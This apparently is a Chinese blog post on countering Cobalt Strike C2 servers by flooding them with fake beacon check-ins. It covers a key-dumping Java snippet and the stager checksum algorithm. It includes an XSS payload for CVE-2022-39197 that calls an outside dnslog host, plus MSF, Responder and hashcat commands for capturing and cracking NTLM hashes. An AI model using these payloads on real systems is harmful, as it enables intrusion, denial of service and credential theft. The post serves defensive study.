本文仅作为学习记录,如有侵权,请联系删除!
0x01 批量伪装上线:
以HTTP Beacon为例,在CS的上线过程中,有一串很明显的加密Cookie,是非对称RSA加密类型,需要一个私钥Private Key才能对其进行解密,实际情况里我们并拿不到
可以利用以下代码来提取Private Key与Public Key:
import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;
class DumpKeys
{
public static void main(String[] args)
{
try {
File file = new File(".cobaltstrike.beacon_keys");
if (file.exists()) {
KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file");
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys");
}
}
}
把这个java文件放置在CS服务器的CS文件夹下,在JDK11版本下运行:
java -cp cobaltstrike.jar Dumpkeys.java
继续沿着思路展开,数据包中的核心是加密后的Cookie,那么我们能否进行伪造,达到假主机上线的效果。
上线包的请求Cookie值是受控主机元数据经过非对称加密后的密文,CS服务器接收到Cookie值后进行解密从而获取到受控主机信息。受控主机元数据包含了若干敏感信息:
HTTP型Beacon 上线包的核心在于Cookie,Cookie是对受控主机元数据的非对称加密的密文
一般攻击者会自定义Malleable C2 Profile修改默认流量特征,这里以jQuery为例,尝试通过重放数据包,观察Server是否成果响应了我们的请求,last是否被重制为1s
但这里有个限制,只能伪造已经上线的主机,不能伪造新的受控主机。但若我们了解上线的整个过程,数据是如何被加密的,就有可能在短时间内大量伪造假主机上线。
以Stager型Beacon为例,回顾下CS上线流程:
- 攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;
- 攻击者投递Stager到受控主机;
- 受控主机在Exploit阶段执行小巧的Stager;
- 受控主机根据Stager Url请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验Url的合法性;
- Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);
- Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;
- C2 Server用私钥解密数据获取主机元数据。
其中核心在于两个部分:Stager Url校验算法、Beacon配置的解密算法
- Stager Url校验算法:
关键函数包括:checksum8、MSFURI、isStager
MSFURI函数从大小写字母+数字的字符数组中随机指定长度的字符序列并调用checksum8函数计算字符序列的ASCII和与256的模是否等于固定值(32位Stage与64位Stage分别使用92、93作为固定值)
也就是说,我们可以通过生成4位的随机校验码,通过checksum8算法获取文件,这里以7vv9为例:55+118+118+57-256=92
- Beacon配置的解密算法:
利用以下几个项目进行解密:
https://github.com/Sentinel-One/CobaltStrikeParser
https://blog.didierstevens.com/2021/06/15/update-1768-py-version-0-0-7/
Public key别忘了要删点后面的无效Padding
正确的格式是MIGfXXXXXXXXXXXXXXXX==,后面那一堆AAAAA要删掉
注意:第二个项目解出来的是十六进制字符串,无法还原成原始字符串,菜是原罪
从解密数据中获取到PublicKey和C2 Server地址
最后就是伪造上线了,利用项目地址:
https://github.com/LiAoRJ/CS_fakesubmit
https://github.com/hariomenkel/CobaltSpam
由于红队会使用各式各样的C2 Profile来混淆通信流量,需要根据捕获到的C2上线流量或者根据Beacon配置解密信息对代码进行适当修改,以jQuery Profile为例,需要对请求头进行补充:
实战环境下可以写循环语句,不停模拟上线操作,让攻击者即使能够上线也无法执行命令
实现效果图:
- 红队防御措施:
修改CS代码上述2种算法的逻辑,阻止虚假主机上线和C2挖掘
0x02 CVE-2022-39197:
该漏洞允许攻击者通过在Beacon配置中设置假用户名,触发XSS,进而在 CS Server上造成远程代码执行。
影响版本:Cobalt Strike <= 4.7
漏洞的本质是swing html的问题,在内容的开头插入<html>标签后续的内容就会被格式化为html文档进行解析,但很多标准标签在swing这个场景里或多或少都受到一些功能限制
利用上述的CS伪造上线的脚本:CS_fakesubmit
把user字段改为<HTML><IMG SRC=http://xxx.dnslog.cn/1.jpg>
,当图片不在的话,就会显示断裂
补充:还会存在一定的拒绝服务的效果,攻击之后再操作CS客户端会非常卡
这里利用的话可以通过劫持ntlm-hash,然后利用hastcat等工具破解密码,以MSF为例:
use auxiliary/server/capture/smb
run
发送payload后,成功获取到ntlm-hash:
以Responder为例:python3 Responder.py -I eth0
,成功了一次,后面都失败了。。。
hashcat破解成功获取密码:hashcat -m 5600 SWS::SWS-PC:303b0cd3404fabc9:8cd2c75c6ebe62df193c9fc5b0..... pass.txt
后续在VPS上复现的时候,发现国内厂商基本都禁止445端口开放到互联网,尝试本地端口转发也不行,那么劫持ntlm-hash这条路似乎就走不通了,萌新求带
参考如下:
反击CobaltStrike(一) 以假乱真 - SecPulse.COM | 安全脉搏
奇安信攻防社区-CS反制之批量伪装上线
cobaltstrike RCE-part1
域内窃取哈希一些技术